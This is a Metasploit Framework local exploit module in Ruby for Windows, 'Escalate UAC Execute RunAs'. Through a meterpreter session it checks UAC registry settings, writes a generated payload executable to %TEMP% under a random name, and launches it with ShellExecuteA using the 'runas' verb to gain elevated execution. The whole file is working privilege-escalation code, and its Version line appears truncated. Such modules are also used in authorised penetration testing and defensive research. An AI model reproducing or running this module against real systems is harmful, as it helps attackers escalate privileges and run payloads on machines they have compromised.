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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Common
include Exploit::EXE
include Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Execute RunAs',
'Description' => %q{
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
},
'License' => MSF_LICENSE,
'Author' => [
'mubix <mubix[at]hak5.org>' # Port to local exploit
],
'Version' => '$Revision
,
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
],
'DisclosureDate'=> "Jan 3, 2012"
))
register_options([
OptString.new("FILENAME", [ false, "File name on disk"]),
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
])
end
def exploit
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
open_key = session.sys.registry.open_key(root_key, base_key)
lua_setting = open_key.query_value('EnableLUA')
if lua_setting.data == 1
print_status "UAC is Enabled, checking level..."
else
print_good "UAC is not enabled, no prompt for the user"
end
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
case uac_level.data
when 2
print_status "UAC is set to 'Always Notify'"
print_status "The user will be prompted, wait for them to click 'Ok'"
when 5
print_debug "UAC is set to Default"
print_debug "The user will be prompted, wait for them to click 'Ok'"
when 0
print_good "UAC is not enabled, no prompt for the user"
end
#
# Generate payload and random names for upload
#
payload = generate_payload_exe
if datastore["FILENAME"]
payload_filename = datastore["FILENAME"]
else
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
end
if datastore["PATH"]
payload_path = datastore["PATH"]
else
payload_path = session.fs.file.expand_path("%TEMP%")
end
cmd_location = "#{payload_path}\\#{payload_filename}"
if datastore["UPLOAD"]
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
fd = session.fs.file.new(cmd_location, "wb")
fd.write(payload)
fd.close
end
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
end
end
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